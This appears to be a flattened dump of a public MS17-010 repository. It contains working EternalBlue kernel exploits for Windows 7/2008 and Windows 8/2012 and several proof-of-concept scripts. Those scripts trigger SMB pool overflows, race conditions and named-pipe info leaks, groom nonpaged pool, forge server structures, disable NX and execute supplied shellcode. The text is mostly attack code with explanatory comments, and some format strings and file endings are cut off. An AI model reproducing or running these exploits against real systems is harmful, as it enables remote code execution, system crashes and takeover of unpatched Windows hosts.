smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) 285 | sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() 286 | 287 | sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value greater than response size 288 | sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value 289 | sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero 290 | sessionSetup['Parameters']['SessionKey'] = 0 291 | sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session 292 | # UnicodePasswordLen field is in Reserved for extended security format. 0 for NULL session 293 | sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY # can add other flags 294 | 295 | sessionSetup['Data'] = pack(' 0: 342 | pad2Len = (4 - fixedOffset % 4) % 4 343 | transCommand['Data']['Pad2'] = '\xFF' * pad2Len 344 | else: 345 | transCommand['Data']['Pad2'] = '' 346 | pad2Len = 0 347 | 348 | transCommand['Parameters']['DataCount'] = len(data) 349 | transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len 350 | transCommand['Parameters']['DataDisplacement'] = displacement 351 | 352 | transCommand['Data']['Trans_Parameters'] = '' 353 | transCommand['Data']['Trans_Data'] = data 354 | pkt.addCommand(transCommand) 355 | 356 | conn.sendSMB(pkt) 357 | 358 | 359 | def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True): 360 | # Here is another bug in MS17-010. 361 | # To call transaction subcommand, normally a client need to use correct SMB commands as documented in 362 | # https://msdn.microsoft.com/en-us/library/ee441514.aspx 363 | # If a transaction message is larger than SMB message (MaxBufferSize in session parameter), a client 364 | # can use *_SECONDARY command to send transaction message. When sending a transaction completely with 365 | # *_SECONDARY command, a server uses the last command that complete the transaction. 366 | # For example: 367 | # - if last command is SMB_COM_NT_TRANSACT_SECONDARY, a server executes subcommand as NT_TRANSACT_*. 368 | # - if last command is SMB_COM_TRANSACTION2_SECONDARY, a server executes subcommand as TRANS2_*. 369 | # 370 | # Without MS17-010 patch, a client can mix a transaction command if TID, PID, UID, MID are the same. 371 | # For example: 372 | # - a client start transaction with SMB_COM_NT_TRANSACT command 373 | # - a client send more transaction data with SMB_COM_NT_TRANSACT_SECONDARY and SMB_COM_TRANSACTION2_SECONDARY 374 | # - a client sned last transactino data with SMB_COM_TRANSACTION2_SECONDARY 375 | # - a server executes transaction subcommand as TRANS2_* (first 2 bytes of Setup field) 376 | 377 | # From https://msdn.microsoft.com/en-us/library/ee442192.aspx, a maximum data size for sending a transaction 378 | # with SMB_COM_TRANSACTION2 is 65535 because TotalDataCount field is USHORT 379 | # While a maximum data size for sending a transaction with SMB_COM_NT_TRANSACT is >65536 because TotalDataCount 380 | # field is ULONG (see https://msdn.microsoft.com/en-us/library/ee441534.aspx). 381 | # Note: a server limit SetupCount+TotalParameterCount+TotalDataCount to 0x10400 (in SrvAllocationTransaction) 382 | 383 | pkt = smb.NewSMBPacket() 384 | pkt['Tid'] = tid 385 | 386 | command = pack('65535 bytes to trigger the bug. 389 | transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) 390 | transCommand['Parameters'] = smb.SMBNTTransaction_Parameters() 391 | transCommand['Parameters']['MaxSetupCount'] = 1 392 | transCommand['Parameters']['MaxParameterCount'] = len(param) 393 | transCommand['Parameters']['MaxDataCount'] = 0 394 | transCommand['Data'] = smb.SMBTransaction2_Data() 395 | 396 | transCommand['Parameters']['Setup'] = command 397 | transCommand['Parameters']['TotalParameterCount'] = len(param) 398 | transCommand['Parameters']['TotalDataCount'] = len(data) 399 | 400 | fixedOffset = 32+3+38 + len(command) 401 | if len(param) > 0: 402 | padLen = (4 - fixedOffset % 4 ) % 4 403 | padBytes = '\xFF' * padLen 404 | transCommand['Data']['Pad1'] = padBytes 405 | else: 406 | transCommand['Data']['Pad1'] = '' 407 | padLen = 0 408 | 409 | transCommand['Parameters']['ParameterCount'] = len(param) 410 | transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen 411 | 412 | if len(data) > 0: 413 | pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4 414 | transCommand['Data']['Pad2'] = '\xFF' * pad2Len 415 | else: 416 | transCommand['Data']['Pad2'] = '' 417 | pad2Len = 0 418 | 419 | transCommand['Parameters']['DataCount'] = firstDataFragmentSize 420 | transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len 421 | 422 | transCommand['Data']['Trans_Parameters'] = param 423 | transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize] 424 | pkt.addCommand(transCommand) 425 | 426 | conn.sendSMB(pkt) 427 | conn.recvSMB() # must be success 428 | 429 | # Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data 430 | i = firstDataFragmentSize 431 | while i < len(data): 432 | # limit data to 4096 bytes per SMB message because this size can be used for all Windows version 433 | sendSize = min(4096, len(data) - i) 434 | if len(data) - i <= 4096: 435 | if not sendLastChunk: 436 | break 437 | send_trans2_second(conn, tid, data[i:i+sendSize], i) 438 | i += sendSize 439 | 440 | if sendLastChunk: 441 | conn.recvSMB() 442 | return i 443 | 444 | 445 | # connect to target and send a large nbss size with data 0x80 bytes 446 | # this method is for allocating big nonpaged pool (no need to be same size as overflow buffer) on target 447 | # a nonpaged pool is allocated by srvnet.sys that started by useful struct (especially after overwritten) 448 | def createConnectionWithBigSMBFirst80(target): 449 | # https://msdn.microsoft.com/en-us/library/cc246496.aspx 450 | # Above link is about SMB2, but the important here is first 4 bytes. 451 | # If using wireshark, you will see the StreamProtocolLength is NBSS length. 452 | # The first 4 bytes is same for all SMB version. It is used for determine the SMB message length. 453 | # 454 | # After received first 4 bytes, srvnet.sys allocate nonpaged pool for receving SMB message. 455 | # srvnet.sys forwards this buffer to SMB message handler after receiving all SMB message. 456 | # Note: For Windows 7 and Windows 2008, srvnet.sys also forwards the SMB message to its handler when connection lost too. 457 | sk = socket.create_connection((target, 445)) 458 | # For this exploit, use size is 0x11000 459 | pkt = '\x00' + '\x00' + pack('>H', 0xfff7) 460 | # There is no need to be SMB2 because we got code execution by corrupted srvnet buffer. 461 | # Also this is invalid SMB2 message. 462 | # I believe NSA exploit use SMB2 for hiding alert from IDS 463 | #pkt += '\xfeSMB' # smb2 464 | # it can be anything even it is invalid 465 | pkt += 'BAAD' # can be any 466 | pkt += '\x00'*0x7c 467 | sk.send(pkt) 468 | return sk 469 | 470 | 471 | def exploit(target, shellcode, numGroomConn): 472 | # force using smb.SMB for SMB1 473 | conn = smb.SMB(target, target) 474 | 475 | # can use conn.login() for ntlmv2 476 | conn.login_standard('', '') 477 | server_os = conn.get_server_os() 478 | print('Target OS: '+server_os) 479 | if not (server_os.startswith("Windows 7 ") or (server_os.startswith("Windows Server ") and ' 2008 ' in server_os) or server_os.startswith("Windows Vista")): 480 | print('This exploit does not support this target') 481 | sys.exit() 482 | 483 | 484 | tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') 485 | 486 | # The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand. 487 | # Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment 488 | progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, 2000, False) 489 | # we have to know what size of NtFeaList will be created when last fragment is sent 490 | 491 | # make sure server recv all payload before starting allocate big NonPaged 492 | #sendEcho(conn, tid, 'a'*12) 493 | 494 | # create buffer size NTFEA_SIZE-0x1000 at server 495 | # this buffer MUST NOT be big enough for overflown buffer 496 | allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x1010) 497 | 498 | # groom nonpaged pool 499 | # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one 500 | srvnetConn = [] 501 | for i in range(numGroomConn): 502 | sk = createConnectionWithBigSMBFirst80(target) 503 | srvnetConn.append(sk) 504 | 505 | # create buffer size NTFEA_SIZE at server 506 | # this buffer will be replaced by overflown buffer 507 | holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x10) 508 | # disconnect allocConn to free buffer 509 | # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer 510 | allocConn.get_socket().close() 511 | 512 | # hope one of srvnetConn is next to holeConn 513 | for i in range(5): 514 | sk = createConnectionWithBigSMBFirst80(target) 515 | srvnetConn.append(sk) 516 | 517 | # send echo again, all new 5 srvnet buffers should be created 518 | #sendEcho(conn, tid, 'a'*12) 519 | 520 | # remove holeConn to create hole for fea buffer 521 | holeConn.get_socket().close() 522 | 523 | # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header 524 | send_trans2_second(conn, tid, feaList[progress:], progress) 525 | recvPkt = conn.recvSMB() 526 | retStatus = recvPkt.getNTStatus() 527 | # retStatus MUST be 0xc000000d (INVALID_PARAMETER) because of invalid fea flag 528 | if retStatus == 0xc000000d: 529 | print('good response status: INVALID_PARAMETER') 530 | else: 531 | print('bad response status: 0x{:08x}'.format(retStatus)) 532 | 533 | 534 | # one of srvnetConn struct header should be modified 535 | # a corrupted buffer will write recv data in designed memory address 536 | for sk in srvnetConn: 537 | sk.send(fake_recv_struct + shellcode) 538 | 539 | # execute shellcode by closing srvnet connection 540 | for sk in srvnetConn: 541 | sk.close() 542 | 543 | # nicely close connection (no need for exploit) 544 | conn.disconnect_tree(tid) 545 | conn.logoff() 546 | conn.get_socket().close() 547 | 548 | 549 | if len(sys.argv) < 3: 550 | print("{} [numGroomConn]".format(sys.argv[0])) 551 | sys.exit(1) 552 | 553 | TARGET=sys.argv[1] 554 | numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3]) 555 | 556 | fp = open(sys.argv[2], 'rb') 557 | sc = fp.read() 558 | fp.close() 559 | 560 | print('shellcode size: {:d}'.format(len(sc))) 561 | print('numGroomConn: {:d}'.format(numGroomConn)) 562 | 563 | exploit(TARGET, sc, numGroomConn) 564 | print('done') 565 | -------------------------------------------------------------------------------- /eternalblue_exploit8.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | from impacket import smb, ntlm 3 | from struct import pack 4 | import sys 5 | import socket 6 | 7 | ''' 8 | EternalBlue exploit for Windows 8 and 2012 by sleepya 9 | The exploit might FAIL and CRASH a target system (depended on what is overwritten) 10 | The exploit support only x64 target 11 | 12 | Tested on: 13 | - Windows 2012 R2 x64 14 | - Windows 8.1 x64 15 | - Windows 10 Pro Build 10240 x64 16 | 17 | 18 | Default Windows 8 and later installation without additional service info: 19 | - anonymous is not allowed to access any share (including IPC$) 20 | - More info: https://support.microsoft.com/en-us/help/3034016/ipc-share-and-null-session-behavior-in-windows 21 | - tcp port 445 is filtered by firewall 22 | 23 | 24 | Reference: 25 | - http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/ 26 | - "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" https://drive.google.com/file/d/0B3P18M-shbwrNWZTa181ZWRCclk/edit 27 | 28 | 29 | Exploit info: 30 | - If you do not know how exploit for Windows 7/2008 work. Please read my exploit for Windows 7/2008 at 31 | https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a because the trick for exploit is almost the same 32 | - The exploit use heap of HAL for placing fake struct (address 0xffffffffffd00e00) and shellcode (address 0xffffffffffd01000). 33 | On Windows 8 and Wndows 2012, the NX bit is set on this memory page. Need to disable it before controlling RIP. 34 | - The exploit is likely to crash a target when it failed 35 | - The overflow is happened on nonpaged pool so we need to massage target nonpaged pool. 36 | - If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5) 37 | - See the code and comment for exploit detail. 38 | 39 | 40 | Disable NX method: 41 | - The idea is from "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" (see link in reference) 42 | - The exploit is also the same but we need to trigger bug twice 43 | - First trigger, set MDL.MappedSystemVa to target pte address 44 | - Write '\x00' to disable the NX flag 45 | - Second trigger, do the same as Windows 7 exploit 46 | - From my test, if exploit disable NX successfully, I always get code execution 47 | ''' 48 | 49 | # if anonymous can access any share folder, 'IPC$' is always accessible. 50 | # authenticated user is always able to access 'IPC$'. 51 | # Windows 2012 does not allow anonymous to login if no share is accessible. 52 | USERNAME='' 53 | PASSWORD='' 54 | 55 | # because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000 56 | NTFEA_SIZE = 0x9000 57 | 58 | ntfea9000 = (pack('> 12) 151 | fakeSrvNetBufferX64Nx = '\x00'*16 152 | fakeSrvNetBufferX64Nx += pack(' SrvNetCommonReceiveHandler() -> call fn_ptr 207 | fake_recv_struct = ('\x00'*16)*5 208 | fake_recv_struct += pack('= 0xffff: 256 | flags2 &= ~smb.SMB.FLAGS2_UNICODE 257 | reqSize = size // 2 258 | else: 259 | flags2 |= smb.SMB.FLAGS2_UNICODE 260 | reqSize = size 261 | conn.set_flags(flags2=flags2) 262 | 263 | pkt = smb.NewSMBPacket() 264 | 265 | sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) 266 | sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() 267 | 268 | sessionSetup['Parameters']['MaxBufferSize'] = 61440 # can be any value greater than response size 269 | sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value 270 | sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero 271 | sessionSetup['Parameters']['SessionKey'] = 0 272 | sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session 273 | sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS 274 | 275 | sessionSetup['Data'] = pack(' 0: 346 | pad2Len = (4 - fixedOffset % 4) % 4 347 | transCommand['Data']['Pad2'] = '\xFF' * pad2Len 348 | else: 349 | transCommand['Data']['Pad2'] = '' 350 | pad2Len = 0 351 | 352 | transCommand['Parameters']['DataCount'] = len(data) 353 | transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len 354 | transCommand['Parameters']['DataDisplacement'] = displacement 355 | 356 | transCommand['Data']['Trans_Parameters'] = '' 357 | transCommand['Data']['Trans_Data'] = data 358 | pkt.addCommand(transCommand) 359 | 360 | conn.sendSMB(pkt) 361 | 362 | 363 | def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True): 364 | pkt = smb.NewSMBPacket() 365 | pkt['Tid'] = tid 366 | 367 | command = pack('65535 bytes to trigger the bug. 370 | transCommand = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) 371 | transCommand['Parameters'] = smb.SMBNTTransaction_Parameters() 372 | transCommand['Parameters']['MaxSetupCount'] = 1 373 | transCommand['Parameters']['MaxParameterCount'] = len(param) 374 | transCommand['Parameters']['MaxDataCount'] = 0 375 | transCommand['Data'] = smb.SMBTransaction2_Data() 376 | 377 | transCommand['Parameters']['Setup'] = command 378 | transCommand['Parameters']['TotalParameterCount'] = len(param) 379 | transCommand['Parameters']['TotalDataCount'] = len(data) 380 | 381 | fixedOffset = 32+3+38 + len(command) 382 | if len(param) > 0: 383 | padLen = (4 - fixedOffset % 4 ) % 4 384 | padBytes = '\xFF' * padLen 385 | transCommand['Data']['Pad1'] = padBytes 386 | else: 387 | transCommand['Data']['Pad1'] = '' 388 | padLen = 0 389 | 390 | transCommand['Parameters']['ParameterCount'] = len(param) 391 | transCommand['Parameters']['ParameterOffset'] = fixedOffset + padLen 392 | 393 | if len(data) > 0: 394 | pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4 395 | transCommand['Data']['Pad2'] = '\xFF' * pad2Len 396 | else: 397 | transCommand['Data']['Pad2'] = '' 398 | pad2Len = 0 399 | 400 | transCommand['Parameters']['DataCount'] = firstDataFragmentSize 401 | transCommand['Parameters']['DataOffset'] = transCommand['Parameters']['ParameterOffset'] + len(param) + pad2Len 402 | 403 | transCommand['Data']['Trans_Parameters'] = param 404 | transCommand['Data']['Trans_Data'] = data[:firstDataFragmentSize] 405 | pkt.addCommand(transCommand) 406 | 407 | conn.sendSMB(pkt) 408 | recvPkt = conn.recvSMB() # must be success 409 | if recvPkt.getNTStatus() == 0: 410 | print('got good NT Trans response') 411 | else: 412 | print('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus())) 413 | sys.exit(1) 414 | 415 | # Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data 416 | i = firstDataFragmentSize 417 | while i < len(data): 418 | sendSize = min(4096, len(data) - i) 419 | if len(data) - i <= 4096: 420 | if not sendLastChunk: 421 | break 422 | send_trans2_second(conn, tid, data[i:i+sendSize], i) 423 | i += sendSize 424 | 425 | if sendLastChunk: 426 | conn.recvSMB() 427 | return i 428 | 429 | 430 | # connect to target and send a large nbss size with data 0x80 bytes 431 | # this method is for allocating big nonpaged pool on target 432 | def createConnectionWithBigSMBFirst80(target, for_nx=False): 433 | sk = socket.create_connection((target, 445)) 434 | pkt = '\x00' + '\x00' + pack('>H', 0x8100) 435 | # There is no need to be SMB2 because we want the target free the corrupted buffer. 436 | # Also this is invalid SMB2 message. 437 | # I believe NSA exploit use SMB2 for hiding alert from IDS 438 | #pkt += '\xfeSMB' # smb2 439 | # it can be anything even it is invalid 440 | pkt += 'BAAD' # can be any 441 | if for_nx: 442 | # MUST set no delay because 1 byte MUST be sent immediately 443 | sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) 444 | pkt += '\x00'*0x7b # another byte will be sent later to disabling NX 445 | else: 446 | pkt += '\x00'*0x7c 447 | sk.send(pkt) 448 | return sk 449 | 450 | 451 | def exploit(target, shellcode, numGroomConn): 452 | # force using smb.SMB for SMB1 453 | conn = smb.SMB(target, target) 454 | conn.login(USERNAME, PASSWORD) 455 | server_os = conn.get_server_os() 456 | print('Target OS: '+server_os) 457 | if server_os.startswith("Windows 10 "): 458 | build = int(server_os.split()[-1]) 459 | if build >= 14393: # version 1607 460 | print('This exploit does not support this target') 461 | sys.exit() 462 | elif not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")): 463 | print('This exploit does not support this target') 464 | sys.exit() 465 | 466 | tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') 467 | 468 | # The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand. 469 | # Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment 470 | progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False) 471 | 472 | # Another TRANS2_OPEN2 (0) with special feaList for disabling NX 473 | nxconn = smb.SMB(target, target) 474 | nxconn.login(USERNAME, PASSWORD) 475 | nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') 476 | nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False) 477 | 478 | # create some big buffer at server 479 | # this buffer MUST NOT be big enough for overflown buffer 480 | allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x2010) 481 | 482 | # groom nonpaged pool 483 | # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one 484 | srvnetConn = [] 485 | for i in range(numGroomConn): 486 | sk = createConnectionWithBigSMBFirst80(target, for_nx=True) 487 | srvnetConn.append(sk) 488 | 489 | # create buffer size NTFEA_SIZE at server 490 | # this buffer will be replaced by overflown buffer 491 | holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE-0x10) 492 | # disconnect allocConn to free buffer 493 | # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer 494 | allocConn.get_socket().close() 495 | 496 | # hope one of srvnetConn is next to holeConn 497 | for i in range(5): 498 | sk = createConnectionWithBigSMBFirst80(target, for_nx=True) 499 | srvnetConn.append(sk) 500 | 501 | # remove holeConn to create hole for fea buffer 502 | holeConn.get_socket().close() 503 | 504 | # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header 505 | # first trigger, overwrite srvnet buffer struct for disabling NX 506 | send_trans2_second(nxconn, nxtid, feaListNx[nxprogress:], nxprogress) 507 | recvPkt = nxconn.recvSMB() 508 | retStatus = recvPkt.getNTStatus() 509 | if retStatus == 0xc000000d: 510 | print('good response status for nx: INVALID_PARAMETER') 511 | else: 512 | print('bad response status for nx: 0x{:08x}'.format(retStatus)) 513 | 514 | # one of srvnetConn struct header should be modified 515 | # send '\x00' to disable nx 516 | for sk in srvnetConn: 517 | sk.send('\x00') 518 | 519 | # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header 520 | # second trigger, place fake struct and shellcode 521 | send_trans2_second(conn, tid, feaList[progress:], progress) 522 | recvPkt = conn.recvSMB() 523 | retStatus = recvPkt.getNTStatus() 524 | if retStatus == 0xc000000d: 525 | print('good response status: INVALID_PARAMETER') 526 | else: 527 | print('bad response status: 0x{:08x}'.format(retStatus)) 528 | 529 | # one of srvnetConn struct header should be modified 530 | # a corrupted buffer will write recv data in designed memory address 531 | for sk in srvnetConn: 532 | sk.send(fake_recv_struct + shellcode) 533 | 534 | # execute shellcode 535 | for sk in srvnetConn: 536 | sk.close() 537 | 538 | # nicely close connection (no need for exploit) 539 | nxconn.disconnect_tree(tid) 540 | nxconn.logoff() 541 | nxconn.get_socket().close() 542 | conn.disconnect_tree(tid) 543 | conn.logoff() 544 | conn.get_socket().close() 545 | 546 | 547 | if len(sys.argv) < 3: 548 | print("{} [numGroomConn]".format(sys.argv[0])) 549 | sys.exit(1) 550 | 551 | TARGET=sys.argv[1] 552 | numGroomConn = 13 if len(sys.argv) < 4 else int(sys.argv[3]) 553 | 554 | fp = open(sys.argv[2], 'rb') 555 | sc = fp.read() 556 | fp.close() 557 | 558 | if len(sc) > 0xe80: 559 | print('Shellcode too long. The place that this exploit put a shellcode is limited to {} bytes.'.format(0xe80)) 560 | sys.exit() 561 | 562 | # Now, shellcode is known. create a feaList 563 | feaList = createFeaList(len(sc)) 564 | 565 | print('shellcode size: {:d}'.format(len(sc))) 566 | print('numGroomConn: {:d}'.format(numGroomConn)) 567 | 568 | exploit(TARGET, sc, numGroomConn) 569 | print('done') 570 | -------------------------------------------------------------------------------- /eternalblue_poc.py: -------------------------------------------------------------------------------- 1 | from impacket import smb 2 | from mysmb import MYSMB 3 | from struct import pack 4 | import random 5 | import sys 6 | 7 | ''' 8 | PoC: demonstrates how NSA eternalblue triggers the buffer overflow 9 | ''' 10 | 11 | USERNAME = '' 12 | PASSWORD = '' 13 | 14 | if len(sys.argv) != 2: 15 | print("{} ".format(sys.argv[0])) 16 | sys.exit(1) 17 | 18 | target = sys.argv[1] 19 | 20 | 21 | conn = MYSMB(target) 22 | conn.login(USERNAME, PASSWORD) 23 | 24 | tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') 25 | conn.set_default_tid(tid) 26 | 27 | ''' 28 | To craft FEALIST for nonpaged pool overflow, we need to know following data structures. 29 | 30 | typedef struct _FEA { /* fea */ 31 | BYTE fEA; /* flags */ 32 | BYTE cbName; /* name length not including NULL */ 33 | USHORT cbValue; /* value length */ 34 | } FEA, *PFEA; 35 | 36 | typedef struct _FEALIST { /* feal */ 37 | DWORD cbList; /* total bytes of structure including full list */ 38 | FEA list[1]; /* variable length FEA structures */ 39 | } FEALIST, *PFEALIST; 40 | 41 | typedef struct _FILE_FULL_EA_INFORMATION { 42 | ULONG NextEntryOffset; 43 | UCHAR Flags; 44 | UCHAR EaNameLength; 45 | USHORT EaValueLength; 46 | CHAR EaName[1]; 47 | } FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; 48 | 49 | A server need to convert FEA to FILE_FULL_EA_INFORMATION. FEA is byte aligned while FILE_FULL_EA_INFORMATION is DWORD aligned. 50 | For example: 51 | - FEA '\x00\x01\x01\x00n\x00v' (flags=0, cbName=1, cbValue=1, Name='n\0', Value='v') 52 | - to FILE_FULL_EA_INFORMATION '????\x00\x00\x01\x00n\x00v'+'\x00' (last byte is padding) 53 | - FEA '\x00\x00\x00\x00\x00' (flags=0, cbName=0, cbValue=0, Name='\0', Value='') 54 | - to FILE_FULL_EA_INFORMATION '????\x00\x00\x00\x00\x00'+'\x00'*3 (last 3 bytes are padding) 55 | 56 | From last example, smallest FEA size is 5 bytes. When it is converted to FILE_FULL_EA_INFORMATION, a buffer size is 12 bytes. 57 | With many small FEA entries, a server need to allocate buffer for FILE_FULL_EA_INFORMATION entries much larger than input. 58 | This is helpful to control the size of vulnerable nonpaged pool. 59 | 60 | A FEA flags value is another important value in exploitation. Only 0 and 0x80 is valid flags. Before converting FEA to 61 | FILE_FULL_EA_INFORMATION, the flags is checked first. If the flags is invalid, the converting process is stopped. So we can use 62 | the flags value to controll how many bytes we want to overflow. 63 | ''' 64 | # OOB write ~0xcc00 (OOB read ~0x8c00 too because we do not provide enough data for last FEA) 65 | # With this large OOB write and read, page fault should be happen (BSOD) 66 | payload = pack('=0x10000 73 | mid = conn.next_mid() 74 | # NT function can be any 75 | TRANS2_OPEN2 = 0 # need parameter at least 30 bytes 76 | conn.send_nt_trans(2, setup=pack(' ".format(sys.argv[0])) 21 | sys.exit(1) 22 | 23 | target = sys.argv[1] 24 | pipe_name = sys.argv[2] 25 | 26 | conn = MYSMB(target) 27 | 28 | conn.login(USERNAME, PASSWORD, maxBufferSize=512) 29 | 30 | tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') 31 | conn.set_default_tid(tid) 32 | fid = conn.nt_create_andx(tid, pipe_name) # any valid share name should be OK 33 | 34 | for i in range(10): 35 | conn.send_trans('', totalDataCount=0xdb0, maxSetupCount=0, maxParameterCount=0, maxDataCount=0) 36 | 37 | mid_ntrename = conn.next_mid() 38 | # create NT_TRANS_RENAME (5) request 39 | req1 = conn.create_nt_trans_packet(5, mid=mid_ntrename, param=pack('".format(sys.argv[0])) 19 | sys.exit(1) 20 | 21 | target = sys.argv[1] 22 | 23 | 24 | conn = MYSMB(target) 25 | conn.login(USERNAME, PASSWORD) 26 | 27 | # if share name is disk, the race is easier to win because there are more operation to do after InData is modified 28 | tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') 29 | conn.set_default_tid(tid) 30 | 31 | 32 | def nsa_race(conn, jmp_addr): 33 | setup = pack(' ".format(sys.argv[0])) 21 | sys.exit(1) 22 | 23 | target = sys.argv[1] 24 | pipe_name = sys.argv[2] 25 | 26 | # this one must do something to restore execution 27 | # Note: when staging shellcode is executed, CONNECTION+0x3d0 is at top of stack 28 | staging_sc = '\xcc'*128 29 | 30 | def login_put_staging_sc(conn, staging_sc, maxBufferSize): 31 | _, flags2 = conn.get_flags() 32 | 33 | # FLAGS2_EXTENDED_SECURITY MUST not be set 34 | flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY 35 | 36 | # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 37 | flags2 |= smb.SMB.FLAGS2_UNICODE 38 | conn.set_flags(flags2=flags2) 39 | 40 | pkt = smb.NewSMBPacket() 41 | 42 | sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX) 43 | sessionSetup['Parameters'] = smb.SMBSessionSetupAndX_Extended_Parameters() 44 | sessionSetup['Parameters']['MaxBufferSize'] = maxBufferSize 45 | sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value 46 | sessionSetup['Parameters']['VcNumber'] = 2 # any non-zero 47 | sessionSetup['Parameters']['SessionKey'] = 0 48 | sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session 49 | # UnicodePasswordLen field is in Reserved for extended security format. 50 | sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS 51 | 52 | # allocate nonpaged pool size 0x15ff (padding 1 byte, AccountName 2 bytes, PrimaryDomain 2 bytes) 53 | # UNICODE.maxBufferSize: 0x15ff 54 | # after maxBufferSize is padding which is '\x00'*4 55 | # so code is 'ff 15 00 00 00 00' => call [rip+0] 56 | # after padding is pointer to allocated npp and shellcode there 57 | sessionSetup['Data'] = pack('".format(sys.argv[0])) 20 | sys.exit(1) 21 | 22 | target = sys.argv[1] 23 | pipe_name = 'lsarpc' 24 | 25 | 26 | conn = MYSMB(target) 27 | conn.login(USERNAME, PASSWORD) 28 | 29 | smbConn = smbconnection.SMBConnection(target, target, existingConnection=conn, manualNegotiate=True) 30 | dce = transport.SMBTransport(target, filename=pipe_name, smb_connection=smbConn).get_dce_rpc() 31 | dce.connect() 32 | 33 | conn.set_default_tid(conn.get_last_tid()) 34 | fid = conn.get_last_fid() 35 | 36 | dce.bind(lsat.MSRPC_UUID_LSAT) 37 | 38 | # send LsarGetUserName without getting result so there are data in named pipe to peek 39 | request = lsat.LsarGetUserName() 40 | request['SystemName'] = "\x00" 41 | request['UserName'] = "A"*263+'\x00' # this data size determines how many bytes of data we can leak 42 | request['DomainName'] = ndr.NULL 43 | dce.call(request.opnum, request) 44 | 45 | 46 | # send TRANS_PEEK_NMPIPE (0x23) request with small OutData buffer to leak info 47 | recvPkt = conn.send_trans(pack(' ".format(sys.argv[0])) 15 | sys.exit(1) 16 | 17 | target = sys.argv[1] 18 | pipe_name = sys.argv[2] 19 | 20 | conn = MYSMB(target) 21 | conn.login(USERNAME, PASSWORD) 22 | 23 | tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') 24 | conn.set_default_tid(tid) 25 | 26 | fid = conn.nt_create_andx(tid, pipe_name) 27 | 28 | # create incomplete transaction with mid is pipe fid 29 | conn.send_nt_trans(0, mid=fid, totalDataCount=0x5400) 30 | 31 | # use SMB write to shift transaction.InData 32 | 